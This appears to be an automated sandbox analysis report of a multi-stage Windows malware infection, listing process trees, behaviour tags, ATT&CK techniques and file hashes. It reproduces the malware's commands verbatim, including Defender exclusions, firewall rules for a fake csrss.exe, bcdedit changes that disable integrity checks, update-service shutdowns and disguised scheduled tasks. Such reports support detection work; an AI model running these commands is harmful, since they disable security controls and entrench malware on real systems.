Processes:
Explorer.EXE9DE6.exeC63E.exeInstallSetup9.exeCE79.exedescription pid process target process PID 1216 wrote to memory of 2376 1216 Explorer.EXE 9888.exe PID 1216 wrote to memory of 2376 1216 Explorer.EXE 9888.exe PID 1216 wrote to memory of 2376 1216 Explorer.EXE 9888.exe PID 1216 wrote to memory of 2376 1216 Explorer.EXE 9888.exe PID 1216 wrote to memory of 2772 1216 Explorer.EXE 9DE6.exe PID 1216 wrote to memory of 2772 1216 Explorer.EXE 9DE6.exe PID 1216 wrote to memory of 2772 1216 Explorer.EXE 9DE6.exe PID 2772 wrote to memory of 2736 2772 9DE6.exe 9DE6.exe PID 2772 wrote to memory of 2736 2772 9DE6.exe 9DE6.exe PID 2772 wrote to memory of 2736 2772 9DE6.exe 9DE6.exe PID 2772 wrote to memory of 2736 2772 9DE6.exe 9DE6.exe PID 2772 wrote to memory of 2736 2772 9DE6.exe 9DE6.exe PID 2772 wrote to memory of 2736 2772 9DE6.exe 9DE6.exe PID 2772 wrote to memory of 2736 2772 9DE6.exe 9DE6.exe PID 1216 wrote to memory of 2928 1216 Explorer.EXE C63E.exe PID 1216 wrote to memory of 2928 1216 Explorer.EXE C63E.exe PID 1216 wrote to memory of 2928 1216 Explorer.EXE C63E.exe PID 1216 wrote to memory of 2928 1216 Explorer.EXE C63E.exe PID 1216 wrote to memory of 1988 1216 Explorer.EXE CE79.exe PID 1216 wrote to memory of 1988 1216 Explorer.EXE CE79.exe PID 1216 wrote to memory of 1988 1216 Explorer.EXE CE79.exe PID 1216 wrote to memory of 1988 1216 Explorer.EXE CE79.exe PID 1216 wrote to memory of 1988 1216 Explorer.EXE CE79.exe PID 1216 wrote to memory of 1988 1216 Explorer.EXE CE79.exe PID 1216 wrote to memory of 1988 1216 Explorer.EXE CE79.exe PID 2928 wrote to memory of 1916 2928 C63E.exe InstallSetup9.exe PID 2928 wrote to memory of 1916 2928 C63E.exe InstallSetup9.exe PID 2928 wrote to memory of 1916 2928 C63E.exe InstallSetup9.exe PID 2928 wrote to memory of 1916 2928 C63E.exe InstallSetup9.exe PID 2928 wrote to memory of 1916 2928 C63E.exe InstallSetup9.exe PID 2928 wrote to memory of 1916 2928 C63E.exe InstallSetup9.exe PID 2928 wrote to memory of 1916 2928 C63E.exe InstallSetup9.exe PID 2928 wrote to memory of 2836 2928 C63E.exe toolspub2.exe PID 2928 wrote to memory of 2836 2928 C63E.exe toolspub2.exe PID 2928 wrote to memory of 2836 2928 C63E.exe toolspub2.exe PID 2928 wrote to memory of 2836 2928 C63E.exe toolspub2.exe PID 1216 wrote to memory of 1636 1216 Explorer.EXE D03E.exe PID 1216 wrote to memory of 1636 1216 Explorer.EXE D03E.exe PID 1216 wrote to memory of 1636 1216 Explorer.EXE D03E.exe PID 1216 wrote to memory of 1636 1216 Explorer.EXE D03E.exe PID 2928 wrote to memory of 2436 2928 C63E.exe 31839b57a4f11171d6abc8bbc4451ee4.exe PID 2928 wrote to memory of 2436 2928 C63E.exe 31839b57a4f11171d6abc8bbc4451ee4.exe PID 2928 wrote to memory of 2436 2928 C63E.exe 31839b57a4f11171d6abc8bbc4451ee4.exe PID 2928 wrote to memory of 2436 2928 C63E.exe 31839b57a4f11171d6abc8bbc4451ee4.exe PID 1216 wrote to memory of 2044 1216 Explorer.EXE D751.exe PID 1216 wrote to memory of 2044 1216 Explorer.EXE D751.exe PID 1216 wrote to memory of 2044 1216 Explorer.EXE D751.exe PID 1216 wrote to memory of 2044 1216 Explorer.EXE D751.exe PID 1216 wrote to memory of 2416 1216 Explorer.EXE EA65.exe PID 1216 wrote to memory of 2416 1216 Explorer.EXE EA65.exe PID 1216 wrote to memory of 2416 1216 Explorer.EXE EA65.exe PID 1216 wrote to memory of 2416 1216 Explorer.EXE EA65.exe PID 1916 wrote to memory of 1776 1916 InstallSetup9.exe Broom.exe PID 1916 wrote to memory of 1776 1916 InstallSetup9.exe Broom.exe PID 1916 wrote to memory of 1776 1916 InstallSetup9.exe Broom.exe PID 1916 wrote to memory of 1776 1916 InstallSetup9.exe Broom.exe PID 1988 wrote to memory of 1008 1988 CE79.exe CE79.tmp PID 1988 wrote to memory of 1008 1988 CE79.exe CE79.tmp PID 1988 wrote to memory of 1008 1988 CE79.exe CE79.tmp PID 1988 wrote to memory of 1008 1988 CE79.exe CE79.tmp PID 1988 wrote to memory of 1008 1988 CE79.exe CE79.tmp PID 1988 wrote to memory of 1008 1988 CE79.exe CE79.tmp PID 1988 wrote to memory of 1008 1988 CE79.exe CE79.tmp PID 2928 wrote to memory of 1652 2928 C63E.exe tuc3.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Deletes itself
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\aab85d8dc402cb3c4487d181db202529.exe"C:\Users\Admin\AppData\Local\Temp\aab85d8dc402cb3c4487d181db202529.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\9888.exeC:\Users\Admin\AppData\Local\Temp\9888.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\9DE6.exeC:\Users\Admin\AppData\Local\Temp\9DE6.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\9DE6.exeC:\Users\Admin\AppData\Local\Temp\9DE6.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\C63E.exeC:\Users\Admin\AppData\Local\Temp\C63E.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Broom.exeC:\Users\Admin\AppData\Local\Temp\Broom.exe4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"4⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Manipulates WinMon driver.
- Manipulates WinMonFS driver.
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 07⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 17⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast7⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 07⤵
- Modifies boot configuration data using bcdedit
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}7⤵
- Modifies boot configuration data using bcdedit
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
- Executes dropped EXE
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v6⤵
- Modifies boot configuration data using bcdedit
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe6⤵
- Executes dropped EXE
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\tuc3.exe"C:\Users\Admin\AppData\Local\Temp\tuc3.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\is-KHLQA.tmp\tuc3.tmp"C:\Users\Admin\AppData\Local\Temp\is-KHLQA.tmp\tuc3.tmp" /SL5="$201C0,3243561,76288,C:\Users\Admin\AppData\Local\Temp\tuc3.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Query5⤵
-
C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe"C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe" -i5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" helpmsg 285⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 helpmsg 286⤵
-
C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe"C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe" -s5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\latestX.exe"C:\Users\Admin\AppData\Local\Temp\latestX.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Users\Admin\AppData\Local\Temp\CE79.exeC:\Users\Admin\AppData\Local\Temp\CE79.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-Q7FHU.tmp\CE79.tmp"C:\Users\Admin\AppData\Local\Temp\is-Q7FHU.tmp\CE79.tmp" /SL5="$60120,3304892,54272,C:\Users\Admin\AppData\Local\Temp\CE79.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Query4⤵
-
C:\Program Files (x86)\Common Files\VolumeUTIL\VolumeUTIL.exe"C:\Program Files (x86)\Common Files\VolumeUTIL\VolumeUTIL.exe" -i4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" helpmsg 294⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 helpmsg 295⤵
-
C:\Program Files (x86)\Common Files\VolumeUTIL\VolumeUTIL.exe"C:\Program Files (x86)\Common Files\VolumeUTIL\VolumeUTIL.exe" -s4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\D03E.exeC:\Users\Admin\AppData\Local\Temp\D03E.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\D751.exeC:\Users\Admin\AppData\Local\Temp\D751.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\EA65.exeC:\Users\Admin\AppData\Local\Temp\EA65.exe2⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\taskeng.exetaskeng.exe {66C511B1-B7E4-4A6E-9FEC-C983E9EBF52B} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231129145819.log C:\Windows\Logs\CBS\CbsPersist_20231129145819.cab1⤵
- Drops file in Windows directory
-
C:\Windows\system32\taskeng.exetaskeng.exe {F6CD3C75-CBC5-4A7A-9AB2-BC3608BF50F3} S-1-5-21-2952504676-3105837840-1406404655-1000:URUOZWGF\Admin:Interactive:[1]1⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Opcode\zwxubbta\XsdType.exeC:\Users\Admin\AppData\Local\Opcode\zwxubbta\XsdType.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Opcode\zwxubbta\XsdType.exeC:\Users\Admin\AppData\Local\Opcode\zwxubbta\XsdType.exe3⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
2Windows Service
2Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
4Disable or Modify Tools
2Modify Registry
4Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exeFilesize
3.8MB
MD55f22b18abe5f6ed6ee7701ed018762f3
SHA1120bc488a5abaf573aa326cfaa8f8c9b3546a5de
SHA256458386bfa06d242b439bc05efa0739faad0383cfb3e9f17251e582ea7b7d6066
SHA5124a04166c4b5c967501e58eba45c22dccd0ea6fc7d685f3b6f57a7b40d546852cf46080c2b0441168b2160100b059390342d264e1f3dc97815eca8028c693c1d2
-
C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exeFilesize
3.8MB
MD55f22b18abe5f6ed6ee7701ed018762f3
SHA1120bc488a5abaf573aa326cfaa8f8c9b3546a5de
SHA256458386bfa06d242b439bc05efa0739faad0383cfb3e9f17251e582ea7b7d6066
SHA5124a04166c4b5c967501e58eba45c22dccd0ea6fc7d685f3b6f57a7b40d546852cf46080c2b0441168b2160100b059390342d264e1f3dc97815eca8028c693c1d2
-
C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exeFilesize
3.8MB
MD55f22b18abe5f6ed6ee7701ed018762f3
SHA1120bc488a5abaf573aa326cfaa8f8c9b3546a5de
SHA256458386bfa06d242b439bc05efa0739faad0383cfb3e9f17251e582ea7b7d6066
SHA5124a04166c4b5c967501e58eba45c22dccd0ea6fc7d685f3b6f57a7b40d546852cf46080c2b0441168b2160100b059390342d264e1f3dc97815eca8028c693c1d2
-
C:\Program Files (x86)\Common Files\VolumeUTIL\VolumeUTIL.exeFilesize
2.9MB
MD5de11086ada8a65c306cdbd174b819b3f
SHA11526ea71df855ad981ea828793cec721a217624d
SHA25678481f5ea5ca959500f26a4e772a8ee929efe00ba38aa711039694855de7f273
SHA512693f747003a67706c4c840f3a76812c37a8990c576aa098450091a2d4993b1de5555bc6e20607cb3052816fffb82a4534856ce13f525dbff9073e20428b2b5de
-
C:\Program Files (x86)\Common Files\VolumeUTIL\VolumeUTIL.exeFilesize
2.9MB
MD5de11086ada8a65c306cdbd174b819b3f
SHA11526ea71df855ad981ea828793cec721a217624d
SHA25678481f5ea5ca959500f26a4e772a8ee929efe00ba38aa711039694855de7f273
SHA512693f747003a67706c4c840f3a76812c37a8990c576aa098450091a2d4993b1de5555bc6e20607cb3052816fffb82a4534856ce13f525dbff9073e20428b2b5de
-
C:\Program Files (x86)\Common Files\VolumeUTIL\VolumeUTIL.exeFilesize
2.9MB
MD5de11086ada8a65c306cdbd174b819b3f
SHA11526ea71df855ad981ea828793cec721a217624d
SHA25678481f5ea5ca959500f26a4e772a8ee929efe00ba38aa711039694855de7f273
SHA512693f747003a67706c4c840f3a76812c37a8990c576aa098450091a2d4993b1de5555bc6e20607cb3052816fffb82a4534856ce13f525dbff9073e20428b2b5de
-
C:\Program Files\Google\Chrome\updater.exeFilesize
5.6MB
MD5bae29e49e8190bfbbf0d77ffab8de59d
SHA14a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA5129e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2
-
C:\Program Files\Google\Chrome\updater.exeFilesize
5.6MB
MD5bae29e49e8190bfbbf0d77ffab8de59d
SHA14a6352bb47c7e1666a60c76f9b17ca4707872bd9
SHA256f91e4ff7811a5848561463d970c51870c9299a80117a89fb86a698b9f727de87
SHA5129e6cf6519e21143f9b570a878a5ca1bba376256217c34ab676e8d632611d468f277a0d6f946ab8705121002d96a89274f38458affe3df3a3a1c75e336d7d66e2
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exeFilesize
4.2MB
MD5194599419a04dd1020da9f97050c58b4
SHA1cd9a27cbea2c014d376daa1993538dac80968114
SHA25637378d44454ab9ccf47cab56881e5751a355d7b91013caed8a97a7de92b7dafe
SHA512551ebcc7bb27b9d8b162f13ff7fad266572575ff41d52c211a1d6f7adbb056eab3ee8110ed208c5a6f9f5dea5d1f7037dfe53ffbc2b2906bf6cc758093323e81
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exeFilesize
4.2MB
MD5194599419a04dd1020da9f97050c58b4
SHA1cd9a27cbea2c014d376daa1993538dac80968114
SHA25637378d44454ab9ccf47cab56881e5751a355d7b91013caed8a97a7de92b7dafe
SHA512551ebcc7bb27b9d8b162f13ff7fad266572575ff41d52c211a1d6f7adbb056eab3ee8110ed208c5a6f9f5dea5d1f7037dfe53ffbc2b2906bf6cc758093323e81
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exeFilesize
4.2MB
MD5194599419a04dd1020da9f97050c58b4
SHA1cd9a27cbea2c014d376daa1993538dac80968114
SHA25637378d44454ab9ccf47cab56881e5751a355d7b91013caed8a97a7de92b7dafe
SHA512551ebcc7bb27b9d8b162f13ff7fad266572575ff41d52c211a1d6f7adbb056eab3ee8110ed208c5a6f9f5dea5d1f7037dfe53ffbc2b2906bf6cc758093323e81
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exeFilesize
4.2MB
MD5194599419a04dd1020da9f97050c58b4
SHA1cd9a27cbea2c014d376daa1993538dac80968114
SHA25637378d44454ab9ccf47cab56881e5751a355d7b91013caed8a97a7de92b7dafe
SHA512551ebcc7bb27b9d8b162f13ff7fad266572575ff41d52c211a1d6f7adbb056eab3ee8110ed208c5a6f9f5dea5d1f7037dfe53ffbc2b2906bf6cc758093323e81
-
C:\Users\Admin\AppData\Local\Temp\9888.exeFilesize
222KB
MD59e41d2cc0de2e45ce74e42dd3608df3b
SHA1a9744a4b76e2f38a0b3b287ef229cbeb8c9e4ba6
SHA2561081d313fe627ca22ce02c7bd8d33ece52b1e2cc8978f99653671f94175caf8f
SHA512849673924bdb3db9a08c2ff4a510af599539531e052847caaf8a2d47f91497bedaf48714a3a6cdee1c0f5b8a8b53054c91564267be2c02de63446e207a78f9ea
-
C:\Users\Admin\AppData\Local\Temp\9888.exeFilesize
222KB
MD59e41d2cc0de2e45ce74e42dd3608df3b
SHA1a9744a4b76e2f38a0b3b287ef229cbeb8c9e4ba6
